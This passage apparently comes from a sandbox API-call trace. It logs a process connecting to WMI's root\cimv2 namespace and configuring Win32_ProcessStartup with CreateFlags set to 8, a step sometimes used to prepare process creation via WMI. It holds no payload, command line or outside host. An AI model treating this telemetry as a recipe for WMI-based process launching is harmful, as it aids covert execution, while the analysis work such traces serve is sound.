[5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0128.279] WbemLocator:IClassFactory:CreateInstance (in: This=0x1aa0d730, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1aa0d750) returned 0x0 [0128.279] WbemLocator:IUnknown:Release (This=0x1aa0d730) returned 0x0 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1aa0d750) returned 0x0 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0128.279] WbemLocator:IUnknown:AddRef (This=0x1aa0d750) returned 0x3 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0128.279] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0128.279] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0128.279] WbemLocator:IUnknown:Release (This=0x1aa0d750) returned 0x2 [0128.279] WbemLocator:IUnknown:Release (This=0x1aa0d750) returned 0x1 [0128.279] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0128.279] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0128.279] WbemLocator:IUnknown:QueryInterface (in: This=0x1aa0d750, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1aa0d750) returned 0x0 [0128.279] WbemLocator:IUnknown:AddRef (This=0x1aa0d750) returned 0x3 [0128.279] WbemLocator:IUnknown:Release (This=0x1aa0d750) returned 0x2 [0128.279] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a710, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0128.279] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0128.279] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a710, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.280] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1aa0d770) returned 0x0 [0128.280] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1aa0d770, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb801b0) returned 0x0 [0128.808] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb801b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa024a0) returned 0x0 [0128.808] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa024a0, pProxy=0x1bb801b0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0128.808] WbemLocator:IUnknown:Release (This=0x1aa024a0) returned 0x1 [0128.809] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb801b0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa024e0) returned 0x0 [0128.809] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb801b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa024a0) returned 0x0 [0128.809] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa024a0, pProxy=0x1bb801b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0128.809] WbemLocator:IUnknown:Release (This=0x1aa024a0) returned 0x2 [0128.809] WbemLocator:IUnknown:Release (This=0x1aa024e0) returned 0x1 [0128.809] CoTaskMemFree (pv=0x1a9f0380) [0128.809] WbemLocator:IUnknown:AddRef (This=0x1bb801b0) returned 0x2 [0128.809] WbemLocator:IUnknown:Release (This=0x1aa0d770) returned 0x0 [0128.810] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0128.810] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0128.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb801b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa024b0) returned 0x0 [0128.810] WbemLocator:IRpcOptions:Query (in: This=0x1aa024b0, pPrx=0x1aa0d7f0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0128.810] WbemLocator:IUnknown:Release (This=0x1aa024b0) returned 0x2 [0128.810] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0128.810] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0128.810] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb801b0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb801b0) returned 0x0 [0128.810] WbemLocator:IUnknown:Release (This=0x1bb801b0) returned 0x2 [0128.810] SysStringLen (param_1=0x0) returned 0x0 [0128.811] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0128.811] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a650, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0128.811] IWbemServices:GetObject (in: This=0x1bb801b0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb82fc0, ppCallResult=0x0) returned 0x0 [0128.844] IWbemClassObject:Get (in: This=0x1bb82fc0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0128.844] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0128.844] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0128.845] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0128.845] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0128.845] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0128.845] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.847] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1aa0d770) returned 0x0 [0128.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d770, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0128.847] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d770, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1aa0a7d0) returned 0x0 [0128.847] WbemDefPath:IUnknown:Release (This=0x1aa0d770) returned 0x0 [0128.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1aa0a7d0) returned 0x0 [0128.847] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0128.848] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0128.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0128.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0128.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1aa0d7b0) returned 0x0 [0128.848] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d7b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.848] WbemDefPath:IUnknown:Release (This=0x1aa0d7b0) returned 0x3 [0128.848] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0128.848] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0128.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0128.848] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0128.848] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x1 [0128.848] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0128.848] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0128.848] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a7d0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1aa0a7d0) returned 0x0 [0128.848] WbemDefPath:IUnknown:AddRef (This=0x1aa0a7d0) returned 0x3 [0128.848] WbemDefPath:IUnknown:Release (This=0x1aa0a7d0) returned 0x2 [0128.848] WbemDefPath:IWbemPath:SetText (This=0x1aa0a7d0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0128.849] IWbemClassObject:Get (in: This=0x1bb82fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b3f98*=0, plFlavor=0x27b3f9c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b3f98*=19, plFlavor=0x27b3f9c*=0) returned 0x0 [0128.849] IWbemClassObject:Get (in: This=0x1bb82fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b3f98*=19, plFlavor=0x27b3f9c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27b3f98*=19, plFlavor=0x27b3f9c*=0) returned 0x0 [0128.849] IWbemClassObject:Put (This=0x1bb82fc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0128.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a590, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0128.849] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0128.849] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0128.849] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.849] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0128.850] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0128.850] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0128.850] IUnknown:Release (This=0x1a943398) returned 0x1 [0128.852] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1aa0d950) returned 0x0 [0128.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d950, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0128.852] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d950, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1aa0a890) returned 0x0 [0128.852] WbemDefPath:IUnknown:Release (This=0x1aa0d950) returned 0x0 [0128.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1aa0a890) returned 0x0 [0128.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0128.852] WbemDefPath:IUnknown:AddRef (This=0x1aa0a890) returned 0x3 [0128.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0128.852] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0128.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1aa0d990) returned 0x0 [0128.853] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d990, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0128.853] WbemDefPath:IUnknown:Release (This=0x1aa0d990) returned 0x3 [0128.853] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0128.853] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0128.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0128.853] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x2 [0128.853] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x1 [0128.853] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0128.853] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0128.853] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1aa0a890) returned 0x0 [0128.853] WbemDefPath:IUnknown:AddRef (This=0x1aa0a890) returned 0x3 [0128.853] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x2 [0128.853] WbemDefPath:IWbemPath:SetText (This=0x1aa0a890, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0128.853] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0128.853] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0128.853] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a890, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.853] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0128.854] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0128.854] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0128.854] IUnknown:Release (This=0x1a943398) returned 0x1 